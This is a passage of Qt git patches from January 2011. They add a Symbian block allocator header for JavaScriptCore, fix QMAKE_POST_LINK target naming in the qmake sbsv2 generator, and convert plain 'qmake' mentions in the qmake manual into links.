    +#ifndef BlockAllocatorSymbian_h
    +#define BlockAllocatorSymbian_h
    +
    +#include 
    +#include 
    +#include 
    +
    +
    +#define SYMBIAN_PAGESIZE(x) (HAL::Get(HALData::EMemoryPageSize, x));
    +#define SYMBIAN_FREERAM(x)  (HAL::Get(HALData::EMemoryRAMFree, x));
    +#define SYMBIAN_ROUNDUPTOMULTIPLE(x, multipleof)    ( (x + multipleof - 1) & ~(multipleof - 1) )
    +
    +// Set sane defaults if -D wasn't provided via compiler args
    +#ifndef JSCCOLLECTOR_VIRTUALMEM_RESERVATION
    +#if defined(__WINS__) 
    +    // Emulator has limited virtual address space
    +    #define JSCCOLLECTOR_VIRTUALMEM_RESERVATION (4*1024*1024)
    +#else
    +    // HW has plenty of virtual addresses
    +    #define JSCCOLLECTOR_VIRTUALMEM_RESERVATION (128*1024*1024)
    +#endif
    +#endif
    +
    +namespace WTF {
    +
    +/** 
    + *  Allocates contiguous region of size blockSize with blockSize-aligned address. 
    + *  blockSize must be a multiple of system page size (typically 4K on Symbian/ARM)
    + *
    + *  @param reservationSize Virtual address range to be reserved upon creation of chunk (bytes).
    + *  @param blockSize Size of a single allocation. Returned address will also be blockSize-aligned.
    + */
    +class AlignedBlockAllocator {
    +    public:
    +        AlignedBlockAllocator(TUint32 reservationSize, TUint32 blockSize);
    +        ~AlignedBlockAllocator();
    +        void destroy();
    +        void* alloc();
    +        void free(void* data);
    +    
    +    private: 
    +        RChunk   m_chunk; // Symbian chunk that lets us reserve/commit/decommit
    +        TUint    m_offset; // offset of first committed region from base 
    +        TInt     m_pageSize; // cached value of system page size, typically 4K on Symbian
    +        TUint32  m_reservation;
    +        TUint32  m_blockSize;  
    +
    +        // Tracks comitted/decommitted state of a blockSize region
    +        struct {
    +            
    +            TUint32 *bits; // array of bit flags 
    +            TUint32  numBits; // number of regions to keep track of
    +            
    +            bool get(TUint32 n) const
    +            {
    +                return !!(bits[n >> 5] & (1 << (n & 0x1F)));
    +            }
    +            
    +            void set(TUint32 n)
    +            {
    +                bits[n >> 5] |= (1 << (n & 0x1F));
    +            }
    +            
    +            void clear(TUint32 n)
    +            {
    +                bits[n >> 5] &= ~(1 << (n & 0x1F));
    +            }
    +            
    +            void clearAll()
    +            {
    +               for (TUint32 i = 0; i < numBits; i++)
    +                    clear(i);
    +            }
    +            
    +            TInt findFree() const
    +            {
    +                for (TUint32 i = 0; i < numBits; i++) {
    +                    if (!get(i)) 
    +                        return i;
    +                }
    +                return -1;
    +            }
    +            
    +        } m_map;  
    +
    +};
    + 
    +}
    +
    +#endif // end of BlockAllocatorSymbian_h
    +
    +
    diff --git a/src/3rdparty/javascriptcore/VERSION b/src/3rdparty/javascriptcore/VERSION
    index 9991ac0..b4744b7 100644
    --- a/src/3rdparty/javascriptcore/VERSION
    +++ b/src/3rdparty/javascriptcore/VERSION
    @@ -4,8 +4,8 @@ This is a snapshot of JavaScriptCore from
     
     The commit imported was from the
     
    -        javascriptcore-snapshot-05102010 branch/tag
    +        javascriptcore-snapshot-24012011 branch/tag
     
     and has the sha1 checksum
     
    -        82ead85cfea5859044eeb25b33314dcc0fa5eea1
    +        d143bde5ae8cff229aebd43487a2fce5e713e990
    diff --git a/src/script/script.pro b/src/script/script.pro
    index d1633d8..63917b1 100644
    --- a/src/script/script.pro
    +++ b/src/script/script.pro
    @@ -81,7 +81,6 @@ include(script.pri)
     
     symbian {
         TARGET.UID3=0x2001B2E1
    -    LIBS += -lhal
     }
     
     symbian {
    -- 
    cgit v0.12
    
    
    From 41297f2d592ef21327b5c7523c52c1ecd3c727f4 Mon Sep 17 00:00:00 2001
    From: Miikka Heikkinen 
    Date: Tue, 25 Jan 2011 13:49:46 +0200
    Subject: Fix QMAKE_POST_LINK in Symbian for targets with special characters.
    
    Proper fixed targets was not used to generate the dependency for
    QMAKE_POST_LINK in symbian-sbsv2, causing post linking to happen
    before actual linking.
    
    Task-number: QTBUG-16881
    Reviewed-by: axis
    ---
     qmake/generators/symbian/symmake_sbsv2.cpp | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/qmake/generators/symbian/symmake_sbsv2.cpp b/qmake/generators/symbian/symmake_sbsv2.cpp
    index 6d01523..9eccd46 100644
    --- a/qmake/generators/symbian/symmake_sbsv2.cpp
    +++ b/qmake/generators/symbian/symmake_sbsv2.cpp
    @@ -686,7 +686,7 @@ void SymbianSbsv2MakefileGenerator::writeBldInfExtensionRulesPart(QTextStream& t
             fixFlmCmd(&postLinkCmd, commandsToReplace);
             t << "START EXTENSION qt/qmake_post_link" << endl;
             t << "OPTION POST_LINK_CMD " << postLinkCmd << endl;
    -        t << "OPTION LINK_TARGET " << removePathSeparators(escapeFilePath(fileFixify(project->first("TARGET"))).append(".").append(getTargetExtension())) << endl;
    +        t << "OPTION LINK_TARGET " << fixedTarget << QLatin1String(".") << getTargetExtension() << endl;
             t << "END" << endl;
             t << endl;
         }
    -- 
    cgit v0.12
    
    
    From d34466a2c4fef4d6b53b3d6fbf285260de9fa0ed Mon Sep 17 00:00:00 2001
    From: Morten Engvoldsen 
    Date: Tue, 25 Jan 2011 13:09:19 +0100
    Subject: Doc: fixing bugs and misspelling based on feedback
    
    ---
     doc/src/development/qmake-manual.qdoc              | 520 ++++++++++-----------
     doc/src/internationalization/linguist-manual.qdoc  |  26 +-
     .../webkit/WebKit/qt/docs/qtwebkit-bridge.qdoc     |   2 +-
     3 files changed, 274 insertions(+), 274 deletions(-)
    
    diff --git a/doc/src/development/qmake-manual.qdoc b/doc/src/development/qmake-manual.qdoc
    index b81d387..c33e777 100644
    --- a/doc/src/development/qmake-manual.qdoc
    +++ b/doc/src/development/qmake-manual.qdoc
    @@ -34,26 +34,26 @@
         \ingroup qttools
         \keyword qmake
     
    -    \c qmake is a tool that helps simplify the build
    -    process for development project across different platforms.  \c qmake
    +    \l {qmake}{ \c qmake} is a tool that helps simplify the build
    +    process for development project across different platforms.  \l {qmake}{ \c qmake}
         automates the generation of Makefiles so that only a few lines of
    -    information are needed to create each Makefile. \c qmake can be used for
    +    information are needed to create each Makefile. \l {qmake}{ \c qmake} can be used for
         any software project, whether it is written in Qt or not.
     
    -    \c qmake generates a Makefile based on the information in a project
    +    \l {qmake}{ \c qmake} generates a Makefile based on the information in a project
         file.  Project files are created by the developer, and are usually
         simple, but more sophisticated project files can be created for
         complex projects.
    -    \c qmake contains additional features to support development with Qt,
    +    \l {qmake}{ \c qmake} contains additional features to support development with Qt,
         automatically including build rules for \l{moc.html}{moc}
         and \l{uic.html}{uic}.
    -    \c qmake can also generate projects for Microsoft Visual studio
    +    \l {qmake}{ \c qmake} can also generate projects for Microsoft Visual studio
         without requiring the developer to change the project file.
     
         \section1 Getting Started
     
         The \l{qmake Tutorial} and guide to \l{qmake Common Projects} provide overviews
    -    that aim to help new users get started with \c qmake.
    +    that aim to help new users get started with \l {qmake}{ \c qmake}.
     
         \list
         \o \l{qmake Tutorial}
    @@ -98,22 +98,22 @@
         \previouspage qmake Manual
         \nextpage qmake Project Files
     
    -    \c qmake provides a project-oriented system for managing the build
    +    \l {qmake}{ \c qmake} provides a project-oriented system for managing the build
         process for applications, libraries, and other components. This
         approach gives developers control over the source files used, and
         allows each of the steps in the process to be described concisely,
    -    typically within a single file. \c qmake expands the information in
    +    typically within a single file. \l {qmake}{ \c qmake} expands the information in
         each project file to a Makefile that executes the necessary commands
         for compiling and linking.
     
         In this document, we provide a basic introduction to project files,
    -    describe some of the main features of \c qmake, and show how to use
    -    \c qmake on the command line.
    +    describe some of the main features of \l {qmake}{ \c qmake}, and show how to use
    +    \l {qmake}{ \c qmake} on the command line.
     
         \section1 Describing a Project
     
         Projects are described by the contents of project (\c .pro) files.
    -    The information within these is used by \c qmake to generate a Makefile
    +    The information within these is used by \l {qmake}{ \c qmake} to generate a Makefile
         containing all the commands that are needed to build each project.
         Project files typically contain a list of source and header files,
         general configuration information, and any application-specific details,
    @@ -134,12 +134,12 @@
     
         \section1 Building a Project
     
    -    For simple projects, you only need to run \c qmake in the top
    -    level directory of your project. By default, \c qmake generates a
    +    For simple projects, you only need to run \l {qmake}{ \c qmake} in the top
    +    level directory of your project. By default, \l {qmake}{ \c qmake} generates a
         Makefile that you then use to build the project, and you can then
         run your platform's \c make tool to build the project.
     
    -    \c qmake can also be used to generate project files. A full
    +    \l {qmake}{ \c qmake} can also be used to generate project files. A full
         description of \c{qmake}'s command line options can be found in the
         \l{Running qmake} chapter of this manual.
     
    @@ -157,7 +157,7 @@
         \previouspage Using qmake
         \nextpage Running qmake
     
    -    Project files contain all the information required by \c qmake to build
    +    Project files contain all the information required by \l {qmake}{ \c qmake} to build
         your application, library, or plugin. The resources used by your project
         are generally specified using a series of declarations, but support for
         simple programming constructs allow you to describe different build
    @@ -167,7 +167,7 @@
     
         \section1 Project File Elements
     
    -    The project file format used by \c qmake can be used to support both
    +    The project file format used by \l {qmake}{ \c qmake} can be used to support both
         simple and fairly complex build systems. Simple project files will
         use a straightforward declarative style, defining standard variables
         to indicate the source and header files that are used in the project.
    @@ -180,14 +180,14 @@
         \section2 Variables
     
         In a project file, variables are used to hold lists of strings.
    -    In the simplest projects, these variables inform \c qmake about the
    +    In the simplest projects, these variables inform \l {qmake}{ \c qmake} about the
         configuration options to use, or supply filenames and paths to use
         in the build process.
     
    -    \c qmake looks for certain variables in each project file, and it
    +    \l {qmake}{ \c qmake} looks for certain variables in each project file, and it
         uses the contents of these to determine what it should write to a
         Makefile. For example, the list of values in the \c HEADERS and
    -    \c SOURCES variables are used to tell \c qmake about header and
    +    \c SOURCES variables are used to tell \l {qmake}{ \c qmake} about header and
         source files in the same directory as the project file.
     
         Variables can also be used internally to store temporary lists of values,
    @@ -206,13 +206,13 @@
     
         \snippet doc/src/snippets/qmake/variables.pro 1
     
    -    The \c CONFIG variable is another special variable that \c qmake
    +    The \c CONFIG variable is another special variable that \l {qmake}{ \c qmake}
         uses when generating a Makefile. It is discussed in the section on
         \l{#GeneralConfiguration}{general configuration} later in this chapter.
         In the above line, \c qt is added to the list of existing values
         contained in \c CONFIG.
     
    -    The following table lists the variables that \c qmake recognizes, and
    +    The following table lists the variables that \l {qmake}{ \c qmake} recognizes, and
         describes what they should contain.
     
         \table
    @@ -276,7 +276,7 @@
     
         \section2 Built-in Functions and Control Flow
     
    -    \c qmake provides a number of built-in functions to allow the contents
    +    \l {qmake}{ \c qmake} provides a number of built-in functions to allow the contents
         of variables to be processed. The most commonly used function in simple
         project files is the \c include function which takes a filename as an
         argument. The contents of the given file are included in the project
    @@ -295,7 +295,7 @@
         The assignments inside the braces are only made if the condition is
         true. In this case, the special \c win32 variable must be set; this
         happens automatically on Windows, but this can also be specified on
    -    other platforms by running \c qmake with the \c{-win32} command line
    +    other platforms by running \l {qmake}{ \c qmake} with the \c{-win32} command line
         option (see \l{Running qmake} for more information). The opening
         brace must stand on the same line as the condition.
     
    @@ -316,15 +316,15 @@
         \section1 Project Templates
     
         The \c TEMPLATE variable is used to define the type of project that will
    -    be built. If this is not declared in the project file, \c qmake assumes
    +    be built. If this is not declared in the project file, \l {qmake}{ \c qmake} assumes
         that an application should be built, and will generate an appropriate
         Makefile (or equivalent file) for the purpose.
     
         The types of project available are listed in the following table with
    -    information about the files that \c qmake will generate for each of them:
    +    information about the files that \l {qmake}{ \c qmake} will generate for each of them:
     
         \table
    -    \header \o Template      \o Description of \c qmake output
    +    \header \o Template      \o Description of \l {qmake}{ \c qmake}output
         \row    \o app (default) \o Creates a Makefile to build an application.
         \row    \o lib           \o Creates a Makefile to build a library.
         \row    \o subdirs       \o Creates a Makefile containing rules for the
    @@ -339,7 +339,7 @@
         See the \l{qmake Tutorial} for advice on writing project files for
         projects that use the \c app and \c lib templates.
     
    -    When the \c subdirs template is used, \c qmake generates a Makefile
    +    When the \c subdirs template is used, \l {qmake}{ \c qmake} generates a Makefile
         to examine each specified subdirectory, process any project file it finds
         there, and run the platform's \c make tool on the newly-created Makefile.
         The \l{qmake Variable Reference#SUBDIRS}{SUBDIRS} variable is used to
    @@ -351,7 +351,7 @@
         The \l{qmake Variable Reference#CONFIG}{CONFIG variable} specifies the
         options and features that the compiler should use and the libraries that
         should be linked against. Anything can be added to the \c CONFIG variable,
    -    but the options covered below are recognized by \c qmake internally.
    +    but the options covered below are recognized by \l {qmake}{ \c qmake} internally.
     
         The following options control the compiler flags that are used to build the
         project:
    @@ -380,7 +380,7 @@
     
         The \c debug_and_release option is special in that it enables \e both debug and
         release versions of a project to be built. In such a case, the Makefile that
    -    \c qmake generates includes a rule that builds both versions, and this can be
    +    \l {qmake}{ \c qmake} generates includes a rule that builds both versions, and this can be
         invoked in the following way:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 0
    @@ -428,7 +428,7 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 1
     
    -    Note, that you must use "+=", not "=", or \c qmake will not be able to
    +    Note, that you must use "+=", not "=", or \l {qmake}{ \c qmake} will not be able to
         use Qt's configuration to determine the settings needed for your project.
     
         \section1 Declaring Qt Libraries
    @@ -478,13 +478,13 @@
     
         \section1 Configuration Features
     
    -    \c qmake can be set up with extra configuration features that are specified
    +    \l {qmake}{ \c qmake} can be set up with extra configuration features that are specified
         in feature (.prf) files. These extra features often provide support for
         custom tools that are used during the build process. To add a feature to
         the build process, append the feature name (the stem of the feature filename)
         to the \c CONFIG variable.
     
    -    For example, \c qmake can configure the build process to take advantage
    +    For example, \l {qmake}{ \c qmake} can configure the build process to take advantage
         of external libraries that are supported by
         \l{http://www.freedesktop.org/wiki/Software_2fpkgconfig}{pkg-config},
         such as the D-Bus and ogg libraries, with the following lines:
    @@ -501,7 +501,7 @@
         If you are using other libraries in your project in addition to those
         supplied with Qt, you need to specify them in your project file.
     
    -    The paths that \c qmake searches for libraries and the specific libraries
    +    The paths that \l {qmake}{ \c qmake} searches for libraries and the specific libraries
         to link against can be added to the list of values in the
         \l{qmake Variable Reference#LIBS}{LIBS} variable. The paths to the libraries
         themselves can be given, or the familiar Unix-style notation for specifying
    @@ -527,7 +527,7 @@
         \previouspage qmake Project Files
         \nextpage qmake Platform Notes
     
    -    The behavior of \c qmake can be customized when it is run by
    +    The behavior of \l {qmake}{ \c qmake} can be customized when it is run by
         specifying various options on the command line. These allow the
         build process to be fine-tuned, provide useful diagnostic
         information, and can be used to specify the target platform for
    @@ -540,13 +540,13 @@
     
         \section2 Syntax
     
    -    The syntax used to run \c qmake takes the following simple form:
    +    The syntax used to run \l {qmake}{ \c qmake} takes the following simple form:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 8
     
    -    \c qmake supports two different modes of operation: In the default mode,
    -    \c qmake will use the description in a project file to generate a Makefile,
    -    but it is also possible to use \c qmake to generate project files.
    +    \l {qmake}{ \c qmake} supports two different modes of operation: In the default mode,
    +    \l {qmake}{ \c qmake} will use the description in a project file to generate a Makefile,
    +    but it is also possible to use \l {qmake}{ \c qmake} to generate project files.
         If you want to explicitly set the mode, you must specify it before all
         other options. The \c mode can be either of the following two values:
     
    @@ -569,10 +569,10 @@
     
         \section2 Options
     
    -    A wide range of options can be specified on the command line to \c qmake in
    +    A wide range of options can be specified on the command line to \l {qmake}{ \c qmake} in
         order to customize the build process, and to override default settings for
         your platform. The following basic options provide usage information, specify
    -    where \c qmake writes the output file, and control the level of debugging
    +    where \l {qmake}{ \c qmake} writes the output file, and control the level of debugging
         information that will be written to the console:
     
         \list
    @@ -588,7 +588,7 @@
         \endlist
     
         For projects that need to be built differently on each target platform, with
    -    many subdirectories, you can run \c qmake with each of the following
    +    many subdirectories, you can run \l {qmake}{ \c qmake} with each of the following
         options to set the corresponding platform-specific variable in each
         project file:
     
    @@ -642,7 +642,7 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 9
     
    -    In Makefile mode, \c qmake will generate a Makefile that is used to build the
    +    In Makefile mode, \l {qmake}{ \c qmake} will generate a Makefile that is used to build the
         project. Additionally, the following options may be used in this mode to
         influence the way the project file is generated:
     
    @@ -662,7 +662,7 @@
            and the value of \c QMAKESPEC will be ignored.
         \endlist
     
    -    You may also pass \c qmake assignments on the command line;
    +    You may also pass \l {qmake}{ \c qmake} assignments on the command line;
         they will be processed before all of the files specified. For example:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 10
    @@ -683,7 +683,7 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 12
     
    -    In project mode, \c qmake will generate a project file. Additionally, you
    +    In project mode, \l {qmake}{ \c qmake} will generate a project file. Additionally, you
         may supply the following options in this mode:
     
         \list
    @@ -714,7 +714,7 @@
     
         Many cross-platform projects can be handled by the \c{qmake}'s basic
         configuration features. On some platforms, it is sometimes useful, or even
    -    necessary, to take advantage of platform-specific features. \c qmake knows
    +    necessary, to take advantage of platform-specific features. \l {qmake}{ \c qmake} knows
         about many of these features, and these can be accessed via specific
         variables that only have an effect on the platforms where they are relevant.
     
    @@ -727,15 +727,15 @@
     
         \section2 Source and Binary Packages
     
    -    The version of \c qmake supplied in source packages is configured slightly
    +    The version of \l {qmake}{ \c qmake} supplied in source packages is configured slightly
         differently to that supplied in binary packages in that it uses a different
         feature specification. Where the source package typically uses the
         \c macx-g++ specification, the binary package is typically configured to
         use the \c macx-xcode specification.
     
    -    Users of each package can override this configuration by invoking \c qmake
    +    Users of each package can override this configuration by invoking \l {qmake}{ \c qmake}
         with the \c -spec option (see \l{Running qmake} for more information). This
    -    makes it possible, for example, to use \c qmake from a binary package to
    +    makes it possible, for example, to use \l {qmake}{ \c qmake} from a binary package to
         create a Makefile in a project directory with the following command line
         invocation:
     
    @@ -743,7 +743,7 @@
     
         \section2 Using Frameworks
     
    -    \c qmake is able to automatically generate build rules for linking against
    +    \l {qmake}{ \c qmake} is able to automatically generate build rules for linking against
         frameworks in the standard framework directory on Mac OS X, located at
         \c{/Library/Frameworks/}.
     
    @@ -803,7 +803,7 @@
     
         The architectures to be supported in the binary are specified with the
         \l{qmake Variable Reference#CONFIG}{CONFIG} variable. For example, the
    -    following assignment causes \c qmake to generate build rules to create
    +    following assignment causes \l {qmake}{ \c qmake} to generate build rules to create
         a universal binary for both PowerPC and x86 architectures:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 18
    @@ -818,12 +818,12 @@
         Developers on Mac OS X can take advantage of \c{qmake}'s support for Xcode
         project files, as described in
         \l{Qt is Mac OS X Native#Development Tools}{Qt is Mac OS X Native},
    -    by running \c qmake to generate an Xcode project from an existing \c qmake
    +    by running \l {qmake}{ \c qmake} to generate an Xcode project from an existing \l {qmake}{ \c qmake}
         project files. For example:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 19
     
    -    Note that, if a project is later moved on the disk, \c qmake must be run
    +    Note that, if a project is later moved on the disk, \l {qmake}{ \c qmake} must be run
         again to process the project file and create a new Xcode project file.
     
         \section2 On supporting two build targets simultaneously
    @@ -862,8 +862,8 @@
         \l{Qt Commercial Edition} and do not need to worry about how
         project dependencies are managed.
     
    -    However, some developers may need to import an existing \c qmake project
    -    into Visual Studio. \c qmake is able to take a project file and create a
    +    However, some developers may need to import an existing \l {qmake}{ \c qmake} project
    +    into Visual Studio. \l {qmake}{ \c qmake} is able to take a project file and create a
         Visual Studio project that contains all the necessary information required
         by the development environment. This is achieved by setting the \c qmake
         \l{qmake Variable Reference#TEMPLATE}{project template} to either \c vcapp
    @@ -878,7 +878,7 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 21
     
    -    Each time you update the project file, you need to run \c qmake to generate
    +    Each time you update the project file, you need to run \l {qmake}{ \c qmake} to generate
         an updated Visual Studio project.
     
         \note If you are using the Visual Studio Add-in, you can import \c .pro
    @@ -1011,7 +1011,7 @@
         \section1 Variable Reference
     
         The \l{qmake Variable Reference} describes the variables that are
    -    recognized by \c qmake when configuring the build process for
    +    recognized by \l {qmake}{ \c qmake}when configuring the build process for
         projects.
     
         \section1 Function Reference
    @@ -1061,7 +1061,7 @@
         \section1 Environment Variables and Configuration
     
         The \l{Configuring qmake's Environment} chapter of this manual
    -    describes the environment variables that \c qmake uses when
    +    describes the environment variables that \l {qmake}{ \c qmake} uses when
         configuring the build process.
     */
     
    @@ -1117,7 +1117,7 @@
     
         The \c CONFIG variable specifies project configuration and
         compiler options.  The values will be recognized internally by
    -    \c qmake and have special meaning.  They are as follows.
    +    \l {qmake}{ \c qmake} and have special meaning.  They are as follows.
     
         These \c CONFIG values control compilation flags:
     
    @@ -1153,23 +1153,23 @@
         defined in the \c CONFIG variable, it is necessary to use the
         \c debug_and_release option if you want to allow both debug and release
         versions of a project to be built. In such a case, the Makefile that
    -    \c qmake generates includes a rule that builds both versions, and this can
    +    \l {qmake}{ \c qmake} generates includes a rule that builds both versions, and this can
         be invoked in the following way:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 24
     
    -    When linking a library, \c qmake relies on the underlying platform to know
    +    When linking a library, \l {qmake}{ \c qmake} relies on the underlying platform to know
         what other libraries this library links against. However, if linking
    -    statically, \c qmake will not get this information unless we use the following
    +    statically, \l {qmake}{ \c qmake} will not get this information unless we use the following
         \c CONFIG options:
     
          \table 95%
          \header \o Option   \o Description
    -     \row    \o create_prl  \o This option enables \c qmake to track these
    -        dependencies. When this option is enabled, \c qmake will create a file
    +     \row    \o create_prl  \o This option enables \l {qmake}{ \c qmake} to track these
    +        dependencies. When this option is enabled, \l {qmake}{ \c qmake} will create a file
             ending in \c .prl which will save meta-information about the library
             (see \l{LibDepend}{Library Dependencies} for more info).
    -     \row    \o link_prl    \o When this is enabled, \c qmake will process all
    +     \row    \o link_prl    \o When this is enabled, \l {qmake}{ \c qmake} will process all
             libraries linked to by the application and find their meta-information
             (see \l{LibDepend}{Library Dependencies} for more info).
          \endtable
    @@ -1323,7 +1323,7 @@
         \target DEFINES
         \section1 DEFINES
     
    -    \c qmake adds the values of this variable as compiler C
    +    \l {qmake}{ \c qmake} adds the values of this variable as compiler C
         preprocessor macros (-D option).
     
         For example:
    @@ -1554,9 +1554,9 @@
         \target DESTDIR_TARGET
         \section1 DESTDIR_TARGET
     
    -    This variable is set internally by \c qmake, which is basically the
    +    This variable is set internally by \l {qmake}{ \c qmake}, which is basically the
         \c DESTDIR variable with the \c TARGET variable appened at the end.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake} or
         \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target DLLDESTDIR
    @@ -1577,9 +1577,9 @@
         \target DSP_TEMPLATE
         \section1 DSP_TEMPLATE
     
    -    This variable is set internally by \c qmake, which specifies where the
    +    This variable is set internally by \l {qmake}{ \c qmake}, which specifies where the
         dsp template file for basing generated dsp files is stored. The value
    -    of this variable is typically handled by \c qmake or
    +    of this variable is typically handled by \l {qmake}{ \c qmake} or
         \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target FORMS
    @@ -1625,9 +1625,9 @@
     
         Defines the header files for the project.
     
    -    \c qmake will generate dependency information (unless \c -nodepend
    +    \l {qmake}{ \c qmake} will generate dependency information (unless \c -nodepend
         is specified on the \l{Running qmake#Commands}{command line})
    -    for the specified headers. \c qmake will also automatically detect if
    +    for the specified headers. \l {qmake}{ \c qmake} will also automatically detect if
         \c moc is required by the classes in these headers, and add the
         appropriate dependencies and files to the project for generating and
         linking the moc files.
    @@ -1678,14 +1678,14 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 36
     
    -    Note that \c qmake will skip files that are executable. If you need to install
    +    Note that \l {qmake}{ \c qmake} will skip files that are executable. If you need to install
         executable files, you can unset the files' executable flags.
     
         \target LEXIMPLS
         \section1 LEXIMPLS
     
         This variable contains a list of lex implementation files.  The value
    -    of this variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely
    +    of this variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely
         needs to be modified.
     
         \target LEXOBJECTS
    @@ -1693,7 +1693,7 @@
     
         This variable contains the names of intermediate lex object
         files.The value of this variable is typically handled by
    -    \c qmake and rarely needs to be modified.
    +    \l {qmake}{ \c qmake} and rarely needs to be modified.
     
         \target LEXSOURCES
         \section1 LEXSOURCES
    @@ -1768,9 +1768,9 @@
         \section1 MAKEFILE
     
         This variable specifies the name of the Makefile which
    -    \c qmake should use when outputting the dependency information
    +    \l {qmake}{ \c qmake} should use when outputting the dependency information
         for building a project.  The value of this variable is typically
    -    handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
    +    handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \bold{Note:} On the Symbian platform, this variable is ignored.
     
    @@ -1779,7 +1779,7 @@
     
         This variable contains the name of the Makefile generator to use
         when generating a Makefile.  The value of this variable is typically
    -    handled internally by \c qmake and rarely needs to be modified.
    +    handled internally by \l {qmake}{ \c qmake} and rarely needs to be modified.
     
         \target MMP_RULES
         \section1 MMP_RULES
    @@ -1835,7 +1835,7 @@
         This variable is generated from the \link #SOURCES SOURCES
         \endlink variable.  The extension of each source file will have been
         replaced by .o (Unix) or .obj (Win32).  The value of this variable is
    -    typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and
    +    typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and
         rarely needs to be modified.
     
         \target OBJECTS_DIR
    @@ -1851,10 +1851,10 @@
         \target OBJMOC
         \section1 OBJMOC
     
    -    This variable is set by \c qmake if files can be found that
    +    This variable is set by \l {qmake}{ \c qmake} if files can be found that
         contain the Q_OBJECT macro.  \c OBJMOC contains the
         name of all intermediate moc object files. The value of this variable
    -    is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
    +    is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
         modified.
     
         \target POST_TARGETDEPS
    @@ -1894,38 +1894,38 @@
     
         This variable contains a list of header files that require some
         sort of pre-compilation step (such as with moc). The value of this
    -    variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
    +    variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
         modified.
     
         \target PWD
         \section1 PWD
     
         This variable contains the full path leading to the directory where
    -    the \c qmake project file (project.pro) is located.
    +    the \l {qmake}{ \c qmake} project file (project.pro) is located.
     
         \target OUT_PWD
         \section1 OUT_PWD
     
         This variable contains the full path leading to the directory where
    -    \c qmake places the generated Makefile.
    +    \l {qmake}{ \c qmake} places the generated Makefile.
     
         \target QMAKE_systemvariable
         \section1 QMAKE
     
    -    This variable contains the name of the \c qmake program
    +    This variable contains the name of the \l {qmake}{ \c qmake} program
         itself and is placed in generated Makefiles.  The value of this
    -    variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
    +    variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
         modified.
     
         \target QMAKESPEC_systemvariable
         \section1 QMAKESPEC
     
    -    This variable contains the name of the \c qmake
    +    This variable contains the name of the \l {qmake}{ \c qmake}
         configuration to use when generating Makefiles.  The value of this
    -    variable is typically handled by \c qmake and rarely needs to be modified.
    +    variable is typically handled by \l {qmake}{ \c qmake} and rarely needs to be modified.
     
    -    Use the \c{QMAKESPEC} environment variable to override the \c qmake configuration.
    -    Note that, due to the way \c qmake reads project files, setting the \c{QMAKESPEC}
    +    Use the \c{QMAKESPEC} environment variable to override the \l {qmake}{ \c qmake} configuration.
    +    Note that, due to the way \l {qmake}{ \c qmake} reads project files, setting the \c{QMAKESPEC}
         environment variable from within a project file will have no effect.
     
         \target QMAKE_APP_FLAG
    @@ -1933,7 +1933,7 @@
     
         This variable is empty unless the \c app
         \l{#TEMPLATE}{TEMPLATE} is specified.  The value of this
    -    variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
    +    variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
         modified.  Use the following instead:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 42
    @@ -1943,7 +1943,7 @@
     
         This variable is empty unless the \c app or \c dll
         \l{#TEMPLATE}{TEMPLATE} is specified.  The value of this
    -    variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
    +    variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
         modified.
     
         \target QMAKE_AR_CMD
    @@ -1953,7 +1953,7 @@
     
         This variable contains the command for invoking the program which
         creates, modifies and extracts archives. The value of this variable is
    -    typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
    +    typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf}
         and rarely needs to be modified.
     
         \target QMAKE_BUNDLE_DATA
    @@ -2003,7 +2003,7 @@
         \section1 QMAKE_CFLAGS_DEBUG
     
         This variable contains the flags for the C compiler in debug mode.The value of this variable is
    -    typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
    +    typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf}
         and rarely needs to be modified.
     
         \target QMAKE_CFLAGS_MT
    @@ -2012,7 +2012,7 @@
         This variable contains the compiler flags for creating a
         multi-threaded application or when the version of Qt that you link
         against is a multi-threaded statically linked library.  The value of
    -    this variable is typically handled by \c qmake or
    +    this variable is typically handled by \l {qmake}{ \c qmake} or
